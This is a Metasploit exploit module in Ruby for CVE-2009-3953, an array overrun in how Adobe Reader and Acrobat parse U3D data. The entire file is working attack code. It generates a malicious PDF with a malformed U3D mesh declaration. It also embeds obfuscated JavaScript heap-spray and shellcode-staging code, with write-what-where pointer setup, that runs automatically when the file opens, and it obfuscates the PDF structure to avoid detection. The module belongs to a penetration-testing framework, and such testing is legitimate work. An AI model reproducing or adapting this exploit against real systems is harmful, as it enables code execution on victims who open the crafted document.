root / modules / exploits / windows / fileformat / adobe_u3d_meshdecl.rb @ master
History | View | Annotate | Download (13.9 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
require 'zlib'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = GoodRanking |
| 17 |
|
| 18 |
include Msf::Exploit::FILEFORMAT |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits an array overflow in Adobe Reader and Adobe Acrobat. |
| 25 |
Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a |
| 26 |
specially crafted pdf that a contains malformed U3D data, an attacker may |
| 27 |
be able to execute arbitrary code. |
| 28 |
},
|
| 29 |
'License' => MSF_LICENSE, |
| 30 |
'Author' =>
|
| 31 |
[ |
| 32 |
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
|
| 33 |
'jduck'
|
| 34 |
], |
| 35 |
'Version' => '$Revision$', |
| 36 |
'References' =>
|
| 37 |
[ |
| 38 |
[ 'CVE', '2009-3953' ], |
| 39 |
[ 'OSVDB', '61690' ], |
| 40 |
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ] |
| 41 |
], |
| 42 |
'DefaultOptions' =>
|
| 43 |
{
|
| 44 |
'EXITFUNC' => 'process', |
| 45 |
'DisablePayloadHandler' => 'true', |
| 46 |
}, |
| 47 |
'Payload' =>
|
| 48 |
{
|
| 49 |
'Space' => 1024, |
| 50 |
'BadChars' => "\x00", |
| 51 |
'DisableNops' => true |
| 52 |
}, |
| 53 |
'Platform' => 'win', |
| 54 |
'Targets' =>
|
| 55 |
[ |
| 56 |
# test results (on Windows XP SP3)
|
| 57 |
# reader 7.0.5 - untested
|
| 58 |
# reader 7.0.8 - untested
|
| 59 |
# reader 7.0.9 - untested
|
| 60 |
# reader 7.1.0 - untested
|
| 61 |
# reader 7.1.1 - untested
|
| 62 |
# reader 8.0.0 - untested
|
| 63 |
# reader 8.1.2 - works
|
| 64 |
# reader 8.1.3 - not working :-/
|
| 65 |
# reader 8.1.4 - untested
|
| 66 |
# reader 8.1.5 - untested
|
| 67 |
# reader 8.1.6 - untested
|
| 68 |
# reader 9.0.0 - untested
|
| 69 |
# reader 9.1.0 - works
|
| 70 |
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
|
| 71 |
{
|
| 72 |
'Size' => (6500/20), |
| 73 |
'DataAddr' => 0x09011020, |
| 74 |
'WriteAddr' => 0x7c49fb34, |
| 75 |
} |
| 76 |
], |
| 77 |
], |
| 78 |
'DisclosureDate' => 'Oct 13 2009', |
| 79 |
'DefaultTarget' => 0)) |
| 80 |
|
| 81 |
register_options( |
| 82 |
[ |
| 83 |
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), |
| 84 |
], self.class)
|
| 85 |
|
| 86 |
end
|
| 87 |
|
| 88 |
|
| 89 |
|
| 90 |
def exploit |
| 91 |
# Encode the shellcode.
|
| 92 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
| 93 |
|
| 94 |
# Make some nops
|
| 95 |
nops = Rex::Text.to_unescape(make_nops(4)) |
| 96 |
|
| 97 |
=begin
|
| 98 |
|
| 99 |
Original notes on heap technique used in this exploit: |
| 100 |
|
| 101 |
## PREPAREHOLES: |
| 102 |
## We will construct 6500*20 bytes long chunks starting like this |
| 103 |
## |0 |6 |8 |C |24 |size |
| 104 |
## |00000... |0100|20100190|0000... | ......pad...... | |
| 105 |
## \ \ |
| 106 |
## \ \ -Pointer: to controlled data |
| 107 |
## \ -Flag: must be 1 |
| 108 |
## -Adobe will handle this ragged structure if the Flag is on. |
| 109 |
## -Adobe will get 'what to write where' from the memory pointed |
| 110 |
## by our supplied Pointer. |
| 111 |
## |
| 112 |
## then allocate a bunch of those .. |
| 113 |
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | .. |
| 114 |
## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX| |
| 115 |
## |
| 116 |
## and then free some of them... |
| 117 |
## .. | chunk | free | chunk | free | chunk | free | chunck | .. |
| 118 |
## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX| |
| 119 |
## |
| 120 |
## This way controlling when the next 6500*20 malloc will be |
| 121 |
## followed with. We freed more than one hole so it became tolerant |
| 122 |
## to some degree of malloc/free trace noise. |
| 123 |
## Note the 6500 is arbitrary it should be a fairly unused chunk size |
| 124 |
## not big enough to cause a different type of allocation. |
| 125 |
## Also as we don't need to reference it from anywhere we don't care |
| 126 |
## where this hole layout is placed in memory. |
| 127 |
|
| 128 |
## PREPAREMEMORY: |
| 129 |
## In the next technique we make a big-chunk of 0x10000 bytes |
| 130 |
## repeating a 0x1000 bytes long mini-chunk of controled data. |
| 131 |
## Big-chunks are always allocated aligned to 0x1000. And if we |
| 132 |
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident |
| 133 |
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000 |
| 134 |
## will have our mini chunk |
| 135 |
## |
| 136 |
## A mini-chunk will have this look |
| 137 |
## |
| 138 |
## |0 |10 |54 |? |0xff0 |0x1000 |
| 139 |
## |00000... | POINTERS | nops | shellcode | pad | |
| 140 |
## |
| 141 |
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+ |
| 142 |
## But we use 0x09011064. |
| 143 |
## POINTERS looks like this: |
| 144 |
## ... |
| 145 |
|
| 146 |
=end |
| 147 |
|
| 148 |
# prepare the hole
|
| 149 |
daddr = target['DataAddr']
|
| 150 |
hole_data = [0,0,1,daddr].pack('VvvV') |
| 151 |
#padding
|
| 152 |
hole_data << "\x00" * 24 |
| 153 |
hole = Rex::Text.to_unescape(hole_data) |
| 154 |
|
| 155 |
# prepare ptrs
|
| 156 |
ptrs_data = [0].pack('V') |
| 157 |
#where to write
|
| 158 |
ptrs_data << [target['WriteAddr'] / 4].pack('V') |
| 159 |
#must be greater tan 5 and less than x for getting us where we want
|
| 160 |
ptrs_data << [6].pack('V') |
| 161 |
#what to write
|
| 162 |
ptrs_data << [(daddr+0x10)].pack('V') |
| 163 |
#autopointer for print magic(tm)
|
| 164 |
ptrs_data << [(daddr+0x14)].pack('V') |
| 165 |
#function pointers for print magic(tm)
|
| 166 |
#pointing to our shellcode
|
| 167 |
ptrs_data << [(daddr+0x44)].pack('V') * 12 |
| 168 |
ptrs = Rex::Text.to_unescape(ptrs_data) |
| 169 |
|
| 170 |
js_doc = <<-EOF |
| 171 |
function prepareHoles(slide_size) |
| 172 |
{
|
| 173 |
var size = 1000; |
| 174 |
var xarr = new Array(size); |
| 175 |
var hole = unescape("#{hole}");
|
| 176 |
var pad = unescape("%u5858");
|
| 177 |
while (pad.length <= slide_size/2 - hole.length) |
| 178 |
pad += pad; |
| 179 |
for (loop1=0; loop1 < size; loop1+=1) |
| 180 |
{
|
| 181 |
ident = ""+loop1; |
| 182 |
xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length); |
| 183 |
} |
| 184 |
for (loop2=0;loop2<100;loop2++) |
| 185 |
{
|
| 186 |
for (loop1=size/2; loop1 < size-2; loop1+=2) |
| 187 |
{
|
| 188 |
xarr[loop1]=null; |
| 189 |
xarr[loop1]=pad.substring(0,0x10000/2 )+"A"; |
| 190 |
xarr[loop1]=null; |
| 191 |
} |
| 192 |
} |
| 193 |
return xarr; |
| 194 |
} |
| 195 |
|
| 196 |
function prepareMemory(size) |
| 197 |
{
|
| 198 |
var mini_slide_size = 0x1000; |
| 199 |
var slide_size = 0x100000; |
| 200 |
var xarr = new Array(size); |
| 201 |
var pad = unescape("%ucccc");
|
| 202 |
|
| 203 |
while (pad.length <= 32 ) |
| 204 |
pad += pad; |
| 205 |
|
| 206 |
var nops = unescape("#{nops}");
|
| 207 |
while (nops.length <= mini_slide_size/2 - nops.length) |
| 208 |
nops += nops; |
| 209 |
|
| 210 |
var shellcode = unescape("#{shellcode}");
|
| 211 |
var pointers = unescape("#{ptrs}");
|
| 212 |
var chunk = nops.substring(0,32/2) + pointers + |
| 213 |
nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) + |
| 214 |
shellcode + pad.substring(0,32/2); |
| 215 |
chunk=chunk.substring(0,mini_slide_size/2); |
| 216 |
while (chunk.length <= slide_size/2) |
| 217 |
chunk += chunk; |
| 218 |
|
| 219 |
for (loop1=0; loop1 < size; loop1+=1) |
| 220 |
{
|
| 221 |
ident = ""+loop1; |
| 222 |
xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident; |
| 223 |
} |
| 224 |
return xarr; |
| 225 |
} |
| 226 |
|
| 227 |
var mem = prepareMemory(200); |
| 228 |
var holes = prepareHoles(6500); |
| 229 |
this.pageNum = 1;
|
| 230 |
EOF |
| 231 |
js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
|
| 232 |
|
| 233 |
# Obfuscate it up a bit
|
| 234 |
js_doc = obfuscate_js(js_doc, |
| 235 |
'Symbols' => {
|
| 236 |
'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident }, |
| 237 |
'Methods' => %W{ prepareMemory prepareHoles } |
| 238 |
}).to_s |
| 239 |
|
| 240 |
# create the u3d stuff
|
| 241 |
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4)) |
| 242 |
|
| 243 |
# Create the pdf
|
| 244 |
pdf = make_pdf(u3d, js_doc, js_pg1) |
| 245 |
|
| 246 |
print_status("Creating '#{datastore['FILENAME']}' file...")
|
| 247 |
|
| 248 |
file_create(pdf) |
| 249 |
end
|
| 250 |
|
| 251 |
|
| 252 |
def obfuscate_js(javascript, opts) |
| 253 |
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) |
| 254 |
js.obfuscate |
| 255 |
return js
|
| 256 |
end
|
| 257 |
|
| 258 |
|
| 259 |
def RandomNonASCIIString(count) |
| 260 |
result = ""
|
| 261 |
count.times do
|
| 262 |
result << (rand(128) + 128).chr |
| 263 |
end
|
| 264 |
result |
| 265 |
end
|
| 266 |
|
| 267 |
def ioDef(id) |
| 268 |
"%d 0 obj\n" % id
|
| 269 |
end
|
| 270 |
|
| 271 |
def ioRef(id) |
| 272 |
"%d 0 R" % id
|
| 273 |
end
|
| 274 |
|
| 275 |
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
| 276 |
def nObfu(str) |
| 277 |
|
| 278 |
result = ""
|
| 279 |
str.scan(/./u) do |c| |
| 280 |
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' |
| 281 |
result << "#%x" % c.unpack("C*")[0] |
| 282 |
else
|
| 283 |
result << c |
| 284 |
end
|
| 285 |
end
|
| 286 |
result |
| 287 |
end
|
| 288 |
|
| 289 |
def ASCIIHexWhitespaceEncode(str) |
| 290 |
result = ""
|
| 291 |
whitespace = ""
|
| 292 |
str.each_byte do |b|
|
| 293 |
result << whitespace << "%02x" % b
|
| 294 |
whitespace = " " * (rand(3) + 1) |
| 295 |
end
|
| 296 |
result << ">"
|
| 297 |
end
|
| 298 |
|
| 299 |
def u3d_pad(str, char="\x00") |
| 300 |
ret = ""
|
| 301 |
if (str.length % 4) > 0 |
| 302 |
ret << char * (4 - (str.length % 4)) |
| 303 |
end
|
| 304 |
return ret
|
| 305 |
end
|
| 306 |
|
| 307 |
|
| 308 |
def make_u3d_stream(size, meshname) |
| 309 |
|
| 310 |
# build the U3D header
|
| 311 |
hdr_data = [1,0].pack('n*') # version info |
| 312 |
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV') |
| 313 |
hdr = "U3D\x00"
|
| 314 |
hdr << [hdr_data.length,0].pack('VV') |
| 315 |
hdr << hdr_data |
| 316 |
|
| 317 |
# mesh declaration
|
| 318 |
decl_data = [meshname.length].pack('v')
|
| 319 |
decl_data << meshname |
| 320 |
decl_data << [0].pack('V') # chain idx |
| 321 |
# max mesh desc
|
| 322 |
decl_data << [0].pack('V') # mesh attrs |
| 323 |
decl_data << [1].pack('V') # face count |
| 324 |
decl_data << [size].pack('V') # position count |
| 325 |
decl_data << [4].pack('V') # normal count |
| 326 |
decl_data << [0].pack('V') # diffuse color count |
| 327 |
decl_data << [0].pack('V') # specular color count |
| 328 |
decl_data << [0].pack('V') # texture coord count |
| 329 |
decl_data << [1].pack('V') # shading count |
| 330 |
# shading desc
|
| 331 |
decl_data << [0].pack('V') # shading attr |
| 332 |
decl_data << [0].pack('V') # texture layer count |
| 333 |
decl_data << [0].pack('V') # texture coord dimensions |
| 334 |
# no textore coords (original shading ids)
|
| 335 |
decl_data << [size+2].pack('V') # minimum resolution |
| 336 |
decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum) |
| 337 |
# quality factors
|
| 338 |
decl_data << [0x12c].pack('V') # position quality factor |
| 339 |
decl_data << [0x12c].pack('V') # normal quality factor |
| 340 |
decl_data << [0x12c].pack('V') # texture coord quality factor |
| 341 |
# inverse quantiziation
|
| 342 |
decl_data << [0].pack('V') # position inverse quant |
| 343 |
decl_data << [0].pack('V') # normal inverse quant |
| 344 |
decl_data << [0].pack('V') # texture coord inverse quant |
| 345 |
decl_data << [0].pack('V') # diffuse color inverse quant |
| 346 |
decl_data << [0].pack('V') # specular color inverse quant |
| 347 |
# resource params
|
| 348 |
decl_data << [0].pack('V') # normal crease param |
| 349 |
decl_data << [0].pack('V') # normal update param |
| 350 |
decl_data << [0].pack('V') # normal tolerance param |
| 351 |
# skeleton description
|
| 352 |
decl_data << [0].pack('V') # bone count |
| 353 |
# padding
|
| 354 |
decl_pad = u3d_pad(decl_data) |
| 355 |
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV') |
| 356 |
mesh_decl << decl_data |
| 357 |
mesh_decl << decl_pad |
| 358 |
|
| 359 |
# build the modifier chain
|
| 360 |
chain_data = [meshname.length].pack('v')
|
| 361 |
chain_data << meshname |
| 362 |
chain_data << [1].pack('V') # type (model resource) |
| 363 |
chain_data << [0].pack('V') # attributes (no bounding info) |
| 364 |
chain_data << u3d_pad(chain_data) |
| 365 |
chain_data << [1].pack('V') # number of modifiers |
| 366 |
chain_data << mesh_decl |
| 367 |
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') |
| 368 |
modifier_chain << chain_data |
| 369 |
|
| 370 |
# mesh continuation
|
| 371 |
cont_data = [meshname.length].pack('v')
|
| 372 |
cont_data << meshname |
| 373 |
cont_data << [0].pack('V') # chain idx |
| 374 |
cont_data << [0].pack('V') # start resolution |
| 375 |
cont_data << [0].pack('V') # end resolution |
| 376 |
# no resolution update, unknown data follows
|
| 377 |
cont_data << [0].pack('V') |
| 378 |
cont_data << [1].pack('V') * 10 |
| 379 |
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV') |
| 380 |
mesh_cont << cont_data |
| 381 |
mesh_cont << u3d_pad(cont_data) |
| 382 |
|
| 383 |
data = hdr |
| 384 |
data << modifier_chain |
| 385 |
data << mesh_cont |
| 386 |
|
| 387 |
# patch the length
|
| 388 |
data[24,4] = [data.length].pack('V') |
| 389 |
|
| 390 |
return data
|
| 391 |
|
| 392 |
end
|
| 393 |
|
| 394 |
def make_pdf(u3d_stream, js_doc, js_pg1) |
| 395 |
|
| 396 |
xref = [] |
| 397 |
eol = "\x0a"
|
| 398 |
obj_end = "" << eol << "endobj" << eol |
| 399 |
|
| 400 |
# the header
|
| 401 |
pdf = "%PDF-1.7" << eol
|
| 402 |
|
| 403 |
# filename/comment
|
| 404 |
pdf << "%" << RandomNonASCIIString(4) << eol |
| 405 |
|
| 406 |
# js stream (doc open action js)
|
| 407 |
xref << pdf.length |
| 408 |
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc)) |
| 409 |
pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol |
| 410 |
pdf << "stream" << eol
|
| 411 |
pdf << compressed << eol |
| 412 |
pdf << "endstream" << eol
|
| 413 |
pdf << obj_end |
| 414 |
|
| 415 |
# js stream 2 (page 1 annot js)
|
| 416 |
xref << pdf.length |
| 417 |
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1)) |
| 418 |
pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol |
| 419 |
pdf << "stream" << eol
|
| 420 |
pdf << compressed << eol |
| 421 |
pdf << "endstream" << eol
|
| 422 |
pdf << obj_end |
| 423 |
|
| 424 |
# catalog
|
| 425 |
xref << pdf.length |
| 426 |
pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4) |
| 427 |
pdf << nObfu("/Pages ") << ioRef(5) |
| 428 |
pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>") |
| 429 |
pdf << obj_end |
| 430 |
|
| 431 |
# outline
|
| 432 |
xref << pdf.length |
| 433 |
pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>") |
| 434 |
pdf << obj_end |
| 435 |
|
| 436 |
# pages/kids
|
| 437 |
xref << pdf.length |
| 438 |
pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [") |
| 439 |
pdf << ioRef(10) << " " # empty page |
| 440 |
pdf << ioRef(11) # u3d page |
| 441 |
pdf << nObfu("]>>")
|
| 442 |
pdf << obj_end |
| 443 |
|
| 444 |
# u3d stream
|
| 445 |
xref << pdf.length |
| 446 |
pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol |
| 447 |
pdf << "stream" << eol
|
| 448 |
pdf << u3d_stream << eol |
| 449 |
pdf << "endstream"
|
| 450 |
pdf << obj_end |
| 451 |
|
| 452 |
# u3d annotation object
|
| 453 |
xref << pdf.length |
| 454 |
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype") |
| 455 |
pdf << "/3D/3DA <</A/PO/DIS/I>>"
|
| 456 |
pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>") |
| 457 |
pdf << obj_end |
| 458 |
|
| 459 |
# js dict (open action js)
|
| 460 |
xref << pdf.length |
| 461 |
pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end |
| 462 |
|
| 463 |
# js dict (page 1 annot js)
|
| 464 |
xref << pdf.length |
| 465 |
pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end |
| 466 |
|
| 467 |
# page 0 (empty)
|
| 468 |
xref << pdf.length |
| 469 |
pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]") |
| 470 |
pdf << nObfu(" >>")
|
| 471 |
pdf << obj_end |
| 472 |
|
| 473 |
# page 1 (u3d/print)
|
| 474 |
xref << pdf.length |
| 475 |
pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]") |
| 476 |
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") |
| 477 |
pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>") |
| 478 |
pdf << nObfu(">>")
|
| 479 |
pdf << obj_end |
| 480 |
|
| 481 |
# xrefs
|
| 482 |
xrefPosition = pdf.length |
| 483 |
pdf << "xref" << eol
|
| 484 |
pdf << "0 %d" % (xref.length + 1) << eol |
| 485 |
pdf << "0000000000 65535 f" << eol
|
| 486 |
xref.each do |index|
|
| 487 |
pdf << "%010d 00000 n" % index << eol
|
| 488 |
end
|
| 489 |
|
| 490 |
# trailer
|
| 491 |
pdf << "trailer" << eol
|
| 492 |
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol |
| 493 |
pdf << "startxref" << eol
|
| 494 |
pdf << xrefPosition.to_s() << eol |
| 495 |
pdf << "%%EOF" << eol
|
| 496 |
|
| 497 |
end
|
| 498 |
|
| 499 |
end
|